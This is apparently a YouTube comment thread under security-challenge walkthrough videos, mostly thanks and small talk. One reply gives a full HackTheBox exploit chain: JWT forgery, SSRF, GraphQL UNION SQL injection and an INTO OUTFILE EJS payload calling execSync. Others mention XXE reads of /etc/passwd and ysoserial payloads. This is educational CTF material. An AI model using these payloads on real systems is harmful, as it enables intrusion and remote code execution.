Відео

Thanks a lot, Culi! :)

@@Baikanikintrist Hello, thanks for watching! That is a great question!Unfortunately I didn’t test it out on Android so I don’t have an answer.

Hello, no problem, thank you for watching! That is an amazing question! So in this particular scenario, after I identified XML Injection by being able to read /etc/passwd, my next payload was for the flag.txt. So I didn't spend too much time trying to read the flag from other directories such as /home/flag.txt or /var/www/html/flag.txt, etc.When it comes to XXE usually you would try to read local files that are mostly present on every system such as /etc/passwd for UNIX machines or C:/Windows/win.ini on Windows boxes, it can be challenging with XXE to enumerate other files that are not common. In this case, with HTB Challenges we know that we are aiming for flag.txt so if I didn't find it with a payload such as file:///flag.txt I would try different directories such as /home/flag.txt or /opt/flag.txt or similar. I think for this challenge they simply placed it in the current directory so you don't have to spend time enumerating the system for a flag, bur rather exploiting XXE Injection. I hope this helps! Please let me know if you have any other questions/thoughts!

Thank you for watching! That's a great question! I didn't find much online about this question besides this old Blog Post from PortSwigger's Forum all the way back in 2021: forum.portswigger.net/thread/free-trial-cf41d2d7bc962fd966d168dbd (you might need to scroll down to find a question from user named Tony). According to the PortSwigger reply, they do not check whether you are using a personal license or a company license nor do we check if you are using a purchased license or a trial license. Now since this was 2021, things might have changed. I think it's the best bet to ask in their Discord: discord.com/invite/portswigger

Thank you for watching and thank you for the great question! This certificate is by far my favorite one because I enjoy web app pentesting and I love AppSec. If you would like to become a web application pentester I do believe that this certificate can help you a lot because of wide variety of topics that it covers, and it really forces the learner to understand each vulnerability in depth. This is from knowledge perspective, when it comes to Job Requirement Perspective, I don't have much experience there because I got this certificate after I landed a job, but when I was actively searching for a job I saw multiple job posting listing BSCP as preferred / required cert. Regardless if it's being listed in the Job Description or not, I think this is an amazing cert and it helped me a lot when it comes to exploiting different vulnerabilities and understanding those vulnerabilities / misconfiguration better than before. I hope this helps!

@@mikemd866 No problem! I am glad that video helped! 🙂

Thank you very much! Here are my notes for this challenge with all commands:1)for /admin & /graphql endpoint i need a valid JWT cookie with a role being set to admin 1.1)I found a JWT Secret hardcoded --> Str0ng_K3y_N0_l3ak_pl3ase? and by using jwt.io I was able to forge a cookie and to set my role to be admin 2)I found SSRF when generating report and I was able to call Collaborator 3)I was able to access /admin by forging JWT Token with jwt.io to be equal to admin for user role and by passing url in the generate-report function as : 127.0.0.1/admin?token=<token> 4)I was able to execute GraphQL Queries with he following url 127.0.0.1:1337/graphql?token=<FORGED_ADMIN_TOKEN>&query={getDataByName(name:"John"){name,department,isPresent}} 5)Now this is vulnerable to SQLI because the reqex ignores everything afer newline character,so we are UNICODING not to break the GraphQL Query, and from there we conducted classing UNION BASED Attack to find out exact number of columns(4): 127.0.0.1:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTkwNzQyODB9.pEww2SEUcXqPFgdWzYPWBfYLNaIf-J-XMLFLm-ciRRU&query={getDataByName(name:"a\u000d\u000a'UNION SELECT NULL,NULL,NULL,NULL-- "){name,department,isPresent}} ---> note space afer comment since we are using MySQL 5.1)Now payload for combining sql injection with ejs code execution &query={getDataByName(name:"a\u000d\u000a'UNION SELECT '<%- global.process.mainModule.require(`child_process`).execSync(`/readflag`) %>',NULL,NULL,NULL INTO OUTFILE '/app/views/errors/404.ejs'-- "){name,department,isPresent}} 6)Now when we navigate to the nonexisting location 404.ejs will be triggered such as /test and we got the flag!

@@milosmarkovic4566 appreciate it

@@imaverygoodguy Thank you very much for watching! I am glad that you found video useful ! 🙂

@@closevote Of course, it’s my pleasure! I am glad that video helped!

Of course! Haha far away from good, but thanks! :D

@@noragami1555 Thank you! :)

Thank you! :)

Haha, thanks Culi! :)

Just had same error pls let me know if ya find a solution

Hmm, that is interesting! I will take a look at it, and I will let you know if I find a solution!

@@milosmarkovic4566 UPDATE: I sent an email to Dev and they were just having technical issues, it has been fixed :)

Of course, I am glad it helped!

Hi, what did you try so far, and what is the error message that you are facing?

@@milosmarkovic4566 I've figure it out. I was trying first to make it work through WSL2, but then I've tried just regular windows openvpn client, which for some reason and give me this error, but actually the problem was in generated keys (I was playing around with tryhackme). Actually tryhackme, gives u multiple regions, only one for europe keys was working... the other regions (even europe) was giving some errors both wsl2 or windows (in case of windows this error)

@@milosmarkovic4566 when i want to connect to tryhackme vpn

Thank you for watching! I am glad that video helped out! :)

No problem! Thank you for watching! :)

Of course! I am glad that the video helped!

I would suggest checking your payload one more time, if you are successfully connected via OpenVPN there is no reason not to obtain the shell if everything is in place. I don't want to reveal any big spoilers, but I suggest checking what version of ysoserial you are using, and I was using PowerShell base64 encoded payload. I hope this helps!

No Problem! I am glad that video helped! 🙂

Thank you for watching!

Thank you a lot!

Thank you very much! I am happy that the video helped out! I am working actively on more content! :)

I didn’t know that this error is occurring on mobile devices as well! I am glad that video helped!

That’s right! I heard that many people were struggling with the same thing. No problem, I am glad it helped!

Thank you! I appreciate it a lot! Noted, will do in the future, for sure!

Hi, thanks for watching! In that case, I believe that would require port forwarding in order to make this happen.

Yes, when you have AV and when you update your system, unlike my friend! That was the purpose of the video, to highlight the importance of it 🙂. Thank you for watching and commenting! 🙂

Thank you for watching and I appreciate the suggestion! Next time I will definitely do so.

Haha!!! Hvala puno lucky! 😁😂

Samo nastavi ovako odlicno ti ide

@@l_u_c_k_y_7 Hocu, hvala!!

Hi! I just didn't want it exposed, that's all :)

Thank you! It’s much appreciated!

Thank you @RAZREXE ! Much appreciated!!

Haha, that was more than funny! 😂

Of course! Find me on Discord @wr00m_

I was going to ask the same thing.@@milosmarkovic4566

Thanks Dragan!!

Thanks Filip!!

Thanks Marko!!